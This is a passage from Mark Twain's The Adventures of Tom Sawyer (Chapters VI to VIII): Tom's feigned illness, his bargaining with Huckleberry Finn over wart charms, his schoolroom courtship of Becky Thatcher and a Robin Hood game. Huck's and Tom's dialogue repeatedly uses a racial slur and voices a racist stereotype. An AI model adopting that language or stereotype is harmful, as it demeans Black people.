the whole church was red-faced and +suffocating with suppressed laughter, and the sermon +had come to a dead standstill. The discourse was +resumed presently, but it went lame and halting, all +possibility of impressiveness being at an end; for even +the gravest sentiments were constantly being received +with a smothered burst of unholy mirth, under cover +of some remote pew-back, as if the poor parson had +said a rarely facetious thing. It was a genuine relief +to the whole congregation when the ordeal was over +and the benediction pronounced. + +Tom Sawyer went home quite cheerful, thinking +to himself that there was some satisfaction about +divine service when there was a bit of variety in it. +He had but one marring thought; he was willing that +the dog should play with his pinchbug, but he did not +think it was upright in him to carry it off. + + +CHAPTER VI + +MONDAY morning found Tom Sawyer +miserable. Monday morning always +found him so -- because it began another +week's slow suffering in school. He gen- +erally began that day with wishing he had +had no intervening holiday, it made the go- +ing into captivity and fetters again so much more odious. + +Tom lay thinking. Presently it occurred to him +that he wished he was sick; then he could stay home +from school. Here was a vague possibility. He can- +vassed his system. No ailment was found, and he +investigated again. This time he thought he could +detect colicky symptoms, and he began to encourage +them with considerable hope. But they soon grew +feeble, and presently died wholly away. He reflected +further. Suddenly he discovered something. One of +his upper front teeth was loose. This was lucky; he +was about to begin to groan, as a "starter," as he called +it, when it occurred to him that if he came into court +with that argument, his aunt would pull it out, and that +would hurt. So he thought he would hold the tooth in +reserve for the present, and seek further. Nothing of- +fered for some little time, and then he remembered +hearing the doctor tell about a certain thing that laid +up a patient for two or three weeks and threatened to +make him lose a finger. So the boy eagerly drew his +sore toe from under the sheet and held it up for in- +spection. But now he did not know the necessary +symptoms. However, it seemed well worth while to +chance it, so he fell to groaning with considerable +spirit. + +But Sid slept on unconscious. + +Tom groaned louder, and fancied that he began to +feel pain in the toe. + +No result from Sid. + +Tom was panting with his exertions by this time. +He took a rest and then swelled himself up and fetched +a succession of admirable groans. + +Sid snored on. + +Tom was aggravated. He said, "Sid, Sid!" and +shook him. This course worked well, and Tom began +to groan again. Sid yawned, stretched, then brought +himself up on his elbow with a snort, and began to stare +at Tom. Tom went on groaning. Sid said: + +"Tom! Say, Tom!" [No response.] "Here, Tom! +TOM! What is the matter, Tom?" And he shook +him and looked in his face anxiously. + +Tom moaned out: + +"Oh, don't, Sid. Don't joggle me." + +"Why, what's the matter, Tom? I must call +auntie." + +"No -- never mind. It'll be over by and by, maybe. +Don't call anybody." + +"But I must! DON'T groan so, Tom, it's awful. +How long you been this way?" + +"Hours. Ouch! Oh, don't stir so, Sid, you'll kill +me." + +"Tom, why didn't you wake me sooner ? Oh, Tom, +DON'T! It makes my flesh crawl to hear you. Tom, +what is the matter?" + +"I forgive you everything, Sid. [Groan.] Every- +thing you've ever done to me. When I'm gone --" + +"Oh, Tom, you ain't dying, are you? Don't, Tom +-- oh, don't. Maybe --" + +"I forgive everybody, Sid. [Groan.] Tell 'em so, +Sid. And Sid, you give my window-sash and my cat +with one eye to that new girl that's come to town, and +tell her --" + +But Sid had snatched his clothes and gone. Tom +was suffering in reality, now, so handsomely was his +imagination working, and so his groans had gathered +quite a genuine tone. + +Sid flew down-stairs and said: + +"Oh, Aunt Polly, come! Tom's dying!" + +"Dying!" + +"Yes'm. Don't wait -- come quick!" + +"Rubbage! I don't believe it!" + +But she fled up-stairs, nevertheless, with Sid and +Mary at her heels. And her face grew white, too, +and her lip trembled. When she reached the bed- +side she gasped out: + +"You, Tom! Tom, what's the matter with you?" + +"Oh, auntie, I'm --" + +"What's the matter with you -- what is the matter +with you, child?" + +"Oh, auntie, my sore toe's mortified!" + +The old lady sank down into a chair and laughed +a little, then cried a little, then did both together. +This restored her and she said: + +"Tom, what a turn you did give me. Now you +shut up that nonsense and climb out of this." + +The groans ceased and the pain vanished from the +toe. The boy felt a little foolish, and he said: + +"Aunt Polly, it SEEMED mortified, and it hurt so I +never minded my tooth at all." + +"Your tooth, indeed! What's the matter with your +tooth?" + +"One of them's loose, and it aches perfectly awful." + +"There, there, now, don't begin that groaning again. +Open your mouth. Well -- your tooth IS loose, but +you're not going to die about that. Mary, get me a +silk thread, and a chunk of fire out of the kitchen." + +Tom said: + +"Oh, please, auntie, don't pull it out. It don't +hurt any more. I wish I may never stir if it does. +Please don't, auntie. I don't want to stay home +from school." + +"Oh, you don't, don't you? So all this row was +because you thought you'd get to stay home from +school and go a-fishing? Tom, Tom, I love you +so, and you seem to try every way you can to break +my old heart with your outrageousness." By this +time the dental instruments were ready. The old +lady made one end of the silk thread fast to Tom's +tooth with a loop and tied the other to the bedpost. +Then she seized the chunk of fire and suddenly thrust +it almost into the boy's face. The tooth hung dangling +by the bedpost, now. + +But all trials bring their compensations. As Tom +wended to school after breakfast, he was the envy of +every boy he met because the gap in his upper row +of teeth enabled him to expectorate in a new and +admirable way. He gathered quite a following of +lads interested in the exhibition; and one that had +cut his finger and had been a centre of fascination +and homage up to this time, now found himself sud- +denly without an adherent, and shorn of his glory. +His heart was heavy, and he said with a disdain which +he did not feel that it wasn't anything to spit like +Tom Sawyer; but another boy said, "Sour grapes!" +and he wandered away a dismantled hero. + +Shortly Tom came upon the juvenile pariah of the +village, Huckleberry Finn, son of the town drunkard. +Huckleberry was cordially hated and dreaded by all +the mothers of the town, because he was idle and law- +less and vulgar and bad -- and because all their children +admired him so, and delighted in his forbidden society, +and wished they dared to be like him. Tom was like +the rest of the respectable boys, in that he envied +Huckleberry his gaudy outcast condition, and was un- +der strict orders not to play with him. So he played +with him every time he got a chance. Huckleberry +was always dressed in the cast-off clothes of full-grown +men, and they were in perennial bloom and fluttering +with rags. His hat was a vast ruin with a wide crescent +lopped out of its brim; his coat, when he wore one, +hung nearly to his heels and had the rearward buttons +far down the back; but one suspender supported his +trousers; the seat of the trousers bagged low and con- +tained nothing, the fringed legs dragged in the dirt +when not rolled up. + +Huckleberry came and went, at his own free will. +He slept on doorsteps in fine weather and in empty +hogsheads in wet; he did not have to go to school or +to church, or call any being master or obey anybody; +he could go fishing or swimming when and where he +chose, and stay as long as it suited him; nobody forbade +him to fight; he could sit up as late as he pleased; he +was always the first boy that went barefoot in the spring +and the last to resume leather in the fall; he never had +to wash, nor put on clean clothes; he could swear +wonderfully. In a word, everything that goes to make +life precious that boy had. So thought every harassed, +hampered, respectable boy in St. Petersburg. + +Tom hailed the romantic outcast: + +"Hello, Huckleberry!" + +"Hello yourself, and see how you like it." + +"What's that you got?" + +"Dead cat." + +"Lemme see him, Huck. My, he's pretty stiff. +Where'd you get him ?" + +"Bought him off'n a boy." + +"What did you give?" + +"I give a blue ticket and a bladder that I got at the +slaughter-house." + +"Where'd you get the blue ticket?" + +"Bought it off'n Ben Rogers two weeks ago for a +hoop-stick." + +"Say -- what is dead cats good for, Huck?" + +"Good for? Cure warts with." + +"No! Is that so? I know something that's better." + +"I bet you don't. What is it?" + +"Why, spunk-water." + +"Spunk-water! I wouldn't give a dern for spunk- +water." + +"You wouldn't, wouldn't you? D'you ever try it?" + +"No, I hain't. But Bob Tanner did." + +"Who told you so!" + +"Why, he told Jeff Thatcher, and Jeff told Johnny +Baker, and Johnny told Jim Hollis, and Jim told +Ben Rogers, and Ben told a nigger, and the nigger +told me. There now!" + +"Well, what of it? They'll all lie. Leastways all +but the nigger. I don't know HIM. But I never see a +nigger that WOULDN'T lie. Shucks! Now you tell me +how Bob Tanner done it, Huck." + +"Why, he took and dipped his hand in a rotten +stump where the rain-water was." + +"In the daytime?" + +"Certainly." + +"With his face to the stump?" + +"Yes. Least I reckon so." + +"Did he say anything?" + +"I don't reckon he did. I don't know." + +"Aha! Talk about trying to cure warts with spunk- +water such a blame fool way as that! Why, that ain't +a-going to do any good. You got to go all by yourself, +to the middle of the woods, where you know there's +a spunk-water stump, and just as it's midnight you back +up against the stump and jam your hand in and say: + + 'Barley-corn, barley-corn, injun-meal shorts, + Spunk-water, spunk-water, swaller these warts,' + +and then walk away quick, eleven steps, with your +eyes shut, and then turn around three times and walk +home without speaking to anybody. Because if you +speak the charm's busted." + +"Well, that sounds like a good way; but that ain't +the way Bob Tanner done." + +"No, sir, you can bet he didn't, becuz he's the +wartiest boy in this town; and he wouldn't have a +wart on him if he'd knowed how to work spunk- +water. I've took off thousands of warts off of my +hands that way, Huck. I play with frogs so much +that I've always got considerable many warts. Some- +times I take 'em off with a bean." + +"Yes, bean's good. I've done that." + +"Have you? What's your way?" + +"You take and split the bean, and cut the wart so +as to get some blood, and then you put the blood on +one piece of the bean and take and dig a hole and +bury it 'bout midnight at the crossroads in the dark +of the moon, and then you burn up the rest of the bean. +You see that piece that's got the blood on it will keep +drawing and drawing, trying to fetch the other piece to +it, and so that helps the blood to draw the wart, and +pretty soon off she comes." + +"Yes, that's it, Huck -- that's it; though when you're +burying it if you say 'Down bean; off wart; come no +more to bother me!' it's better. That's the way Joe +Harper does, and he's been nearly to Coonville and +most everywheres. But say -- how do you cure 'em +with dead cats?" + +"Why, you take your cat and go and get in the grave- +yard 'long about midnight when somebody that was +wicked has been buried; and when it's midnight a devil +will come, or maybe two or three, but you can't see +'em, you can only hear something like the wind, or +maybe hear 'em talk; and when they're taking that feller +away, you heave your cat after 'em and say, 'Devil +follow corpse, cat follow devil, warts follow cat, I'm +done with ye!' That'll fetch ANY wart." + +"Sounds right. D'you ever try it, Huck?" + +"No, but old Mother Hopkins told me." + +"Well, I reckon it's so, then. Becuz they say she's +a witch." + +"Say! Why, Tom, I KNOW she is. She witched +pap. Pap says so his own self. He come along one +day, and he see she was a-witching him, so he took up +a rock, and if she hadn't dodged, he'd a got her. Well, +that very night he rolled off'n a shed wher' he was a +layin drunk, and broke his arm." + +"Why, that's awful. How did he know she was +a-witching him?" + +"Lord, pap can tell, easy. Pap says when they +keep looking at you right stiddy, they're a-witching +you. Specially if they mumble. Becuz when they +mumble they're saying the Lord's Prayer backards." + +"Say, Hucky, when you going to try the cat?" + +"To-night. I reckon they'll come after old Hoss +Williams to-night." + +"But they buried him Saturday. Didn't they get +him Saturday night?" + +"Why, how you talk! How could their charms +work till midnight? -- and THEN it's Sunday. Dev- +ils don't slosh around much of a Sunday, I don't +reckon." + +"I never thought of that. That's so. Lemme go +with you?" + +"Of course -- if you ain't afeard." + +"Afeard! 'Tain't likely. Will you meow?" + +"Yes -- and you meow back, if you get a chance. +Last time, you kep' me a-meowing around till old +Hays went to throwing rocks at me and says 'Dern +that cat!' and so I hove a brick through his window +-- but don't you tell." + +"I won't. I couldn't meow that night, becuz auntie +was watching me, but I'll meow this time. Say -- +what's that?" + +"Nothing but a tick." + +"Where'd you get him?" + +"Out in the woods." + +"What'll you take for him?" + +"I don't know. I don't want to sell him." + +"All right. It's a mighty small tick, anyway." + +"Oh, anybody can run a tick down that don't belong +to them. I'm satisfied with it. It's a good enough +tick for me." + +"Sho, there's ticks a plenty. I could have a thou- +sand of 'em if I wanted to." + +"Well, why don't you? Becuz you know mighty +well you can't. This is a pretty early tick, I reckon. +It's the first one I've seen this year." + +"Say, Huck -- I'll give you my tooth for him." + +"Less see it." + +Tom got out a bit of paper and carefully unrolled +it. Huckleberry viewed it wistfully. The tempta- +tion was very strong. At last he said: + +"Is it genuwyne?" + +Tom lifted his lip and showed the vacancy. + +"Well, all right," said Huckleberry, "it's a trade." + +Tom enclosed the tick in the percussion-cap box +that had lately been the pinchbug's prison, and the +boys separated, each feeling wealthier than before. + +When Tom reached the little isolated frame school- +house, he strode in briskly, with the manner of one +who had come with all honest speed. He hung his +hat on a peg and flung himself into his seat with busi- +ness-like alacrity. The master, throned on high in his +great splint-bottom arm-chair, was dozing, lulled by the +drowsy hum of study. The interruption roused him. + +"Thomas Sawyer!" + +Tom knew that when his name was pronounced in +full, it meant trouble. + +"Sir!" + +"Come up here. Now, sir, why are you late again, +as usual?" + +Tom was about to take refuge in a lie, when he +saw two long tails of yellow hair hanging down a back +that he recognized by the electric sympathy of love; +and by that form was THE ONLY VACANT PLACE on the +girls' side of the school-house. He instantly said: + +"I STOPPED TO TALK WITH HUCKLEBERRY FINN!" + +The master's pulse stood still, and he stared help- +lessly. The buzz of study ceased. The pupils won- +dered if this foolhardy boy had lost his mind. The +master said: + +"You -- you did what?" + +"Stopped to talk with Huckleberry Finn." + +There was no mistaking the words. + +"Thomas Sawyer, this is the most astounding con- +fession I have ever listened to. No mere ferule will +answer for this offence. Take off your jacket." + +The master's arm performed until it was tired and +the stock of switches notably diminished. Then the +order followed: + +"Now, sir, go and sit with the girls! And let this +be a warning to you." + +The titter that rippled around the room appeared +to abash the boy, but in reality that result was caused +rather more by his worshipful awe of his unknown +idol and the dread pleasure that lay in his high good +fortune. He sat down upon the end of the pine bench +and the girl hitched herself away from him with a toss +of her head. Nudges and winks and whispers traversed +the room, but Tom sat still, with his arms upon the +long, low desk before him, and seemed to study his book. + +By and by attention ceased from him, and the ac- +customed school murmur rose upon the dull air once +more. Presently the boy began to steal furtive glances +at the girl. She observed it, "made a mouth" at him +and gave him the back of her head for the space of a +minute. When she cautiously faced around again, +a peach lay before her. She thrust it away. Tom +gently put it back. She thrust it away again, but with +less animosity. Tom patiently returned it to its place. +Then she let it remain. Tom scrawled on his slate, +"Please take it -- I got more." The girl glanced at the +words, but made no sign. Now the boy began to draw +something on the slate, hiding his work with his left +hand. For a time the girl refused to notice; but her +human curiosity presently began to manifest itself by +hardly perceptible signs. The boy worked on, ap- +parently unconscious. The girl made a sort of non- +committal attempt to see, but the boy did not betray +that he was aware of it. At last she gave in and hesi- +tatingly whispered: + +"Let me see it." + +Tom partly uncovered a dismal caricature of a +house with two gable ends to it and a corkscrew of +smoke issuing from the chimney. Then the girl's +interest began to fasten itself upon the work and she +forgot everything else. When it was finished, she +gazed a moment, then whispered: + +"It's nice -- make a man." + +The artist erected a man in the front yard, that +resembled a derrick. He could have stepped over +the house; but the girl was not hypercritical; she was +satisfied with the monster, and whispered: + +"It's a beautiful man -- now make me coming +along." + +Tom drew an hour-glass with a full moon and straw +limbs to it and armed the spreading fingers with a +portentous fan. The girl said: + +"It's ever so nice -- I wish I could draw." + +"It's easy," whispered Tom, "I'll learn you." + +"Oh, will you? When?" + +"At noon. Do you go home to dinner?" + +"I'll stay if you will." + +"Good -- that's a whack. What's your name?" + +"Becky Thatcher. What's yours? Oh, I know. +It's Thomas Sawyer." + +"That's the name they lick me by. I'm Tom when +I'm good. You call me Tom, will you?" + +"Yes." + +Now Tom began to scrawl something on the slate, +hiding the words from the girl. But she was not +backward this time. She begged to see. Tom said: + +"Oh, it ain't anything." + +"Yes it is." + +"No it ain't. You don't want to see." + +"Yes I do, indeed I do. Please let me." + +"You'll tell." + +"No I won't -- deed and deed and double deed +won't." + +"You won't tell anybody at all? Ever, as long as +you live?" + +"No, I won't ever tell ANYbody. Now let me." + +"Oh, YOU don't want to see!" + +"Now that you treat me so, I WILL see." And she +put her small hand upon his and a little scuffle ensued, +Tom pretending to resist in earnest but letting his hand +slip by degrees till these words were revealed: "I LOVE +YOU." + +"Oh, you bad thing!" And she hit his hand a +smart rap, but reddened and looked pleased, never- +theless. + +Just at this juncture the boy felt a slow, fateful +grip closing on his ear, and a steady lifting impulse. +In that vise he was borne across the house and de- +posited in his own seat, under a peppering fire of +giggles from the whole school. Then the master +stood over him during a few awful moments, and +finally moved away to his throne without saying a +word. But although Tom's ear tingled, his heart +was jubilant. + +As the school quieted down Tom made an honest +effort to study, but the turmoil within him was too +great. In turn he took his place in the reading class +and made a botch of it; then in the geography class +and turned lakes into mountains, mountains into rivers, +and rivers into continents, till chaos was come again; +then in the spelling class, and got "turned down," by +a succession of mere baby words, till he brought up at +the foot and yielded up the pewter medal which he had +worn with ostentation for months. + + +CHAPTER VII + +THE harder Tom tried to fasten his mind +on his book, the more his ideas wandered. +So at last, with a sigh and a yawn, he gave +it up. It seemed to him that the noon +recess would never come. The air was +utterly dead. There was not a breath +stirring. It was the sleepiest of sleepy days. The +drowsing murmur of the five and twenty studying +scholars soothed the soul like the spell that is in the +murmur of bees. Away off in the flaming sunshine, +Cardiff Hill lifted its soft green sides through a shim- +mering veil of heat, tinted with the purple of distance; +a few birds floated on lazy wing high in the air; no other +living thing was visible but some cows, and they were +asleep. Tom's heart ached to be free, or else to have +something of interest to do to pass the dreary time. +His hand wandered into his pocket and his face lit up +with a glow of gratitude that was prayer, though he did +not know it. Then furtively the percussion-cap box +came out. He released the tick and put him on the +long flat desk. The creature probably glowed with a +gratitude that amounted to prayer, too, at this moment, +but it was premature: for when he started thankfully +to travel off, Tom turned him aside with a pin and made +him take a new direction. + +Tom's bosom friend sat next him, suffering just +as Tom had been, and now he was deeply and grate- +fully interested in this entertainment in an instant. +This bosom friend was Joe Harper. The two boys +were sworn friends all the week, and embattled enemies +on Saturdays. Joe took a pin out of his lapel and +began to assist in exercising the prisoner. The sport +grew in interest momently. Soon Tom said that they +were interfering with each other, and neither getting +the fullest benefit of the tick. So he put Joe's slate on +the desk and drew a line down the middle of it from top +to bottom. + +"Now," said he, "as long as he is on your side you +can stir him up and I'll let him alone; but if you let him +get away and get on my side, you're to leave him alone +as long as I can keep him from crossing over." + +"All right, go ahead; start him up." + +The tick escaped from Tom, presently, and crossed +the equator. Joe harassed him awhile, and then he +got away and crossed back again. This change of +base occurred often. While one boy was worrying the +tick with absorbing interest, the other would look on +with interest as strong, the two heads bowed together +over the slate, and the two souls dead to all things else. +At last luck seemed to settle and abide with Joe. The +tick tried this, that, and the other course, and got as +excited and as anxious as the boys themselves, but time +and again just as he would have victory in his very +grasp, so to speak, and Tom's fingers would be twitching +to begin, Joe's pin would deftly head him off, and keep +possession. At last Tom could stand it no longer. +The temptation was too strong. So he reached out +and lent a hand with his pin. Joe was angry in a +moment. Said he: + +"Tom, you let him alone." + +"I only just want to stir him up a little, Joe." + +"No, sir, it ain't fair; you just let him alone." + +"Blame it, I ain't going to stir him much." + +"Let him alone, I tell you." + +"I won't!" + +"You shall -- he's on my side of the line." + +"Look here, Joe Harper, whose is that tick?" + +"I don't care whose tick he is -- he's on my side of +the line, and you sha'n't touch him." + +"Well, I'll just bet I will, though. He's my tick +and I'll do what I blame please with him, or die!" + +A tremendous whack came down on Tom's shoul- +ders, and its duplicate on Joe's; and for the space +of two minutes the dust continued to fly from the +two jackets and the whole school to enjoy it. The +boys had been too absorbed to notice the hush that had +stolen upon the school awhile before when the master +came tiptoeing down the room and stood over them. +He had contemplated a good part of the performance +before he contributed his bit of variety to it. + +When school broke up at noon, Tom flew to Becky +Thatcher, and whispered in her ear: + +"Put on your bonnet and let on you're going home; +and when you get to the corner, give the rest of 'em +the slip, and turn down through the lane and come back. +I'll go the other way and come it over 'em the same +way." + +So the one went off with one group of scholars, and +the other with another. In a little while the two met +at the bottom of the lane, and when they reached the +school they had it all to themselves. Then they sat +together, with a slate before them, and Tom gave Becky +the pencil and held her hand in his, guiding it, and so +created another surprising house. When the interest +in art began to wane, the two fell to talking. Tom +was swimming in bliss. He said: + +"Do you love rats?" + +"No! I hate them!" + +"Well, I do, too -- LIVE ones. But I mean dead +ones, to swing round your head with a string." + +"No, I don't care for rats much, anyway. What +I like is chewing-gum." + +"Oh, I should say so! I wish I had some now." + +"Do you? I've got some. I'll let you chew it +awhile, but you must give it back to me." + +That was agreeable, so they chewed it turn about, +and dangled their legs against the bench in excess of +contentment. + +"Was you ever at a circus?" said Tom. + +"Yes, and my pa's going to take me again some +time, if I'm good." + +"I been to the circus three or four times -- lots of +times. Church ain't shucks to a circus. There's +things going on at a circus all the time. I'm going +to be a clown in a circus when I grow up." + +"Oh, are you! That will be nice. They're so +lovely, all spotted up." + +"Yes, that's so. And they get slathers of money +-- most a dollar a day, Ben Rogers says. Say, Becky, +was you ever engaged?" + +"What's that?" + +"Why, engaged to be married." + +"No." + +"Would you like to?" + +"I reckon so. I don't know. What is it like?" + +"Like? Why it ain't like anything. You only +just tell a boy you won't ever have anybody but him, +ever ever ever, and then you kiss and that's all. Any- +body can do it." + +"Kiss? What do you kiss for?" + +"Why, that, you know, is to -- well, they always +do that." + +"Everybody?" + +"Why, yes, everybody that's in love with each +other. Do you remember what I wrote on the slate?" + +"Ye -- yes." + +"What was it?" + +"I sha'n't tell you." + +"Shall I tell YOU?" + +"Ye -- yes -- but some other time." + +"No, now." + +"No, not now -- to-morrow." + +"Oh, no, NOW. Please, Becky -- I'll whisper it, +I'll whisper it ever so easy." + +Becky hesitating, Tom took silence for consent, +and passed his arm about her waist and whispered +the tale ever so softly, with his mouth close to her +ear. And then he added: + +"Now you whisper it to me -- just the same." + +She resisted, for a while, and then said: + +"You turn your face away so you can't see, and +then I will. But you mustn't ever tell anybody -- +WILL you, Tom? Now you won't, WILL you?" + +"No, indeed, indeed I won't. Now, Becky." + +He turned his face away. She bent timidly around +till her breath stirred his curls and whispered, "I -- +love -- you!" + +Then she sprang away and ran around and around +the desks and benches, with Tom after her, and took +refuge in a corner at last, with her little white apron to +her face. Tom clasped her about her neck and pleaded: + +"Now, Becky, it's all done -- all over but the kiss. +Don't you be afraid of that -- it ain't anything at all. +Please, Becky." And he tugged at her apron and the +hands. + +By and by she gave up, and let her hands drop; +her face, all glowing with the struggle, came up and +submitted. Tom kissed the red lips and said: + +"Now it's all done, Becky. And always after this, +you know, you ain't ever to love anybody but me, and +you ain't ever to marry anybody but me, ever never +and forever. Will you?" + +"No, I'll never love anybody but you, Tom, and +I'll never marry anybody but you -- and you ain't to +ever marry anybody but me, either." + +"Certainly. Of course. That's PART of it. And +always coming to school or when we're going home, +you're to walk with me, when there ain't anybody +looking -- and you choose me and I choose you at +parties, because that's the way you do when you're +engaged." + +"It's so nice. I never heard of it before." + +"Oh, it's ever so gay! Why, me and Amy +Lawrence --" + +The big eyes told Tom his blunder and he stopped, +confused. + +"Oh, Tom! Then I ain't the first you've ever +been engaged to!" + +The child began to cry. Tom said: + +"Oh, don't cry, Becky, I don't care for her any +more." + +"Yes, you do, Tom -- you know you do." + +Tom tried to put his arm about her neck, but she +pushed him away and turned her face to the wall, +and went on crying. Tom tried again, with sooth- +ing words in his mouth, and was repulsed again. +Then his pride was up, and he strode away and went +outside. He stood about, restless and uneasy, for a +while, glancing at the door, every now and then, +hoping she would repent and come to find him. But +she did not. Then he began to feel badly and fear +that he was in the wrong. It was a hard struggle +with him to make new advances, now, but he nerved +himself to it and entered. She was still standing back +there in the corner, sobbing, with her face to the wall. +Tom's heart smote him. He went to her and stood a +moment, not knowing exactly how to proceed. Then +he said hesitatingly: + +"Becky, I -- I don't care for anybody but you." + +No reply -- but sobs. + +"Becky" -- pleadingly. "Becky, won't you say some- +thing?" + +More sobs. + +Tom got out his chiefest jewel, a brass knob from +the top of an andiron, and passed it around her so +that she could see it, and said: + +"Please, Becky, won't you take it?" + +She struck it to the floor. Then Tom marched +out of the house and over the hills and far away, to +return to school no more that day. Presently Becky +began to suspect. She ran to the door; he was not +in sight; she flew around to the play-yard; he was +not there. Then she called: + +"Tom! Come back, Tom!" + +She listened intently, but there was no answer. +She had no companions but silence and loneliness. +So she sat down to cry again and upbraid herself; +and by this time the scholars began to gather again, +and she had to hide her griefs and still her broken +heart and take up the cross of a long, dreary, aching +afternoon, with none among the strangers about her +to exchange sorrows with. + + +CHAPTER VIII + +TOM dodged hither and thither through +lanes until he was well out of the track +of returning scholars, and then fell into a +moody jog. He crossed a small "branch" +two or three times, because of a prevailing +juvenile superstition that to cross water +baffled pursuit. Half an hour later he was disappear- +ing behind the Douglas mansion on the summit +of Cardiff Hill, and the school-house was hardly dis- +tinguishable away off in the valley behind him. He +entered a dense wood, picked his pathless way to the +centre of it, and sat down on a mossy spot under a +spreading oak. There was not even a zephyr stirring; +the dead noonday heat had even stilled the songs of +the birds; nature lay in a trance that was broken by no +sound but the occasional far-off hammering of a wood- +pecker, and this seemed to render the pervading silence +and sense of loneliness the more profound. The boy's +soul was steeped in melancholy; his feelings were in +happy accord with his surroundings. He sat long with +his elbows on his knees and his chin in his hands, +meditating. It seemed to him that life was but a +trouble, at best, and he more than half envied Jimmy +Hodges, so lately released; it must be very peaceful, he +thought, to lie and slumber and dream forever and +ever, with the wind whispering through the trees and +caressing the grass and the flowers over the grave, +and nothing to bother and grieve about, ever any +more. If he only had a clean Sunday-school record +he could be willing to go, and be done with it all. +Now as to this girl. What had he done? Nothing. +He had meant the best in the world, and been treated +like a dog -- like a very dog. She would be sorry some +day -- maybe when it was too late. Ah, if he could only +die TEMPORARILY! + +But the elastic heart of youth cannot be compressed +into one constrained shape long at a time. Tom +presently began to drift insensibly back into the con- +cerns of this life again. What if he turned his back, +now, and disappeared mysteriously? What if he went +away -- ever so far away, into unknown countries beyond +the seas -- and never came back any more! How +would she feel then! The idea of being a clown +recurred to him now, only to fill him with disgust. +For frivolity and jokes and spotted tights were an +offense, when they intruded themselves upon a spirit +that was exalted into the vague august realm of the +romantic. No, he would be a soldier, and return after +long years, all war-worn and illustrious. No -- better +still, he would join the Indians, and hunt buffaloes +and go on the warpath in the mountain ranges and the +trackless great plains of the Far West, and away in +the future come back a great chief, bristling with +feathers, hideous with paint, and prance into Sunday- +school, some drowsy summer morning, with a blood- +curdling war-whoop, and sear the eyeballs of all his +companions with unappeasable envy. But no, there +was something gaudier even than this. He would be +a pirate! That was it! NOW his future lay plain +before him, and glowing with unimaginable splendor. +How his name would fill the world, and make people +shudder! How gloriously he would go plowing the +dancing seas, in his long, low, black-hulled racer, the +Spirit of the Storm, with his grisly flag flying at +the fore! And at the zenith of his fame, how he would +suddenly appear at the old village and stalk into church, +brown and weather-beaten, in his black velvet doublet +and trunks, his great jack-boots, his crimson sash, his +belt bristling with horse-pistols, his crime-rusted cut- +lass at his side, his slouch hat with waving plumes, +his black flag unfurled, with the skull and crossbones +on it, and hear with swelling ecstasy the whisperings, +"It's Tom Sawyer the Pirate! -- the Black Avenger of +the Spanish Main!" + +Yes, it was settled; his career was determined. +He would run away from home and enter upon it. +He would start the very next morning. Therefore +he must now begin to get ready. He would collect +his resources together. He went to a rotten log near +at hand and began to dig under one end of it with his +Barlow knife. He soon struck wood that sounded +hollow. He put his hand there and uttered this in- +cantation impressively: + +"What hasn't come here, come! What's here, stay +here!" + +Then he scraped away the dirt, and exposed a pine +shingle. He took it up and disclosed a shapely little +treasure-house whose bottom and sides were of shingles. +In it lay a marble. Tom's astonishment was bound- +less! He scratched his head with a perplexed air, +and said: + +"Well, that beats anything!" + +Then he tossed the marble away pettishly, and +stood cogitating. The truth was, that a superstition +of his had failed, here, which he and all his comrades +had always looked upon as infallible. If you buried +a marble with certain necessary incantations, and +left it alone a fortnight, and then opened the place +with the incantation he had just used, you would find +that all the marbles you had ever lost had gathered +themselves together there, meantime, no matter how +widely they had been separated. But now, this thing +had actually and unquestionably failed. Tom's whole +structure of faith was shaken to its foundations. He +had many a time heard of this thing succeeding but +never of its failing before. It did not occur to him +that he had tried it several times before, himself, but +could never find the hiding-places afterward. He +puzzled over the matter some time, and finally decided +that some witch had interfered and broken the charm. +He thought he would satisfy himself on that point; so +he searched around till he found a small sandy spot +with a little funnel-shaped depression in it. He laid +himself down and put his mouth close to this de- +pression and called -- + +"Doodle-bug, doodle-bug, tell me what I want to +know! Doodle-bug, doodle-bug, tell me what I want +to know!" + +The sand began to work, and presently a small +black bug appeared for a second and then darted +under again in a fright. + +"He dasn't tell! So it WAS a witch that done it. I +just knowed it." + +He well knew the futility of trying to contend against +witches, so he gave up discouraged. But it occurred +to him that he might as well have the marble he had +just thrown away, and therefore he went and made +a patient search for it. But he could not find it. +Now he went back to his treasure-house and carefully +placed himself just as he had been standing when he +tossed the marble away; then he took another marble +from his pocket and tossed it in the same way, saying: + +"Brother, go find your brother!" + +He watched where it stopped, and went there and +looked. But it must have fallen short or gone too +far; so he tried twice more. The last repetition was +successful. The two marbles lay within a foot of each +other. + +Just here the blast of a toy tin trumpet came faintly +down the green aisles of the forest. Tom flung off his +jacket and trousers, turned a suspender into a belt, +raked away some brush behind the rotten log, dis- +closing a rude bow and arrow, a lath sword and a tin +trumpet, and in a moment had seized these things +and bounded away, barelegged, with fluttering shirt. +He presently halted under a great elm, blew an answer- +ing blast, and then began to tiptoe and look warily out, +this way and that. He said cautiously -- to an imag- +inary company: + +"Hold, my merry men! Keep hid till I blow." + +Now appeared Joe Harper, as airily clad and elab- +orately armed as Tom. Tom called: + +"Hold! Who comes here into Sherwood Forest +without my pass?" + +"Guy of Guisborne wants no man's pass. Who +art thou that -- that --" + +"Dares to hold such language," said Tom, prompt- +ing -- for they talked "by the book," from memory. + +"Who art thou that dares to hold such language?" + +"I, indeed! I am Robin Hood, as thy caitiff carcase +soon shall know." + +"Then art thou indeed that famous outlaw? Right +gladly will I dispute with thee the passes of the merry +wood. Have at thee!" + +They took their lath swords, dumped their other +traps on the ground, struck a fencing attitude, foot +to foot, and began a grave, careful combat, "two +up and two down." Presently Tom said: + +"Now, if you've got the hang, go it lively!" + +So they "went it lively," panting and perspiring +with the work. By and by Tom shouted: + +"Fall! fall! Why don't you fall?" + +"I sha'n't! Why don't you fall yourself? You're +getting the worst of it." + +"Why, that ain't anything. I can't fall; that ain't +the way it is in the book. The book says, 'Then with +one back-handed stroke he slew poor Guy of Guis- +borne.' You're to turn around and let me hit you in +the back." + +There was no getting around the authorities, so Joe +turned, received the whack and fell. + +"Now," said Joe, getting up, "you got to let me +kill YOU. That's fair." + +"Why, I can't do that, it ain't in the book." + +"Well, it's blamed mean -- that's all." + +"Well, say, Joe, you can be Friar Tuck or Much +the miller's son, and lam me with a quarter-staff; or +I'll be the Sheriff of Nottingham and you be Robin +Hood a little while and kill me." + +This was satisfactory, and so these adventures +were carried out. Then Tom became Robin Hood +again, and was allowed by the treacherous nun to +bleed his strength away through his neglected wound. +And at last Joe, representing a whole tribe of weeping +outlaws, dragged him sadly forth, gave his bow into +his feeble hands, and Tom said, "Where this arrow +falls, there bury poor Robin Hood under the green- +wood tree." Then he shot the arrow and fell back +and would have died, but he lit on a nettle and sprang +up too gaily for a corpse. + 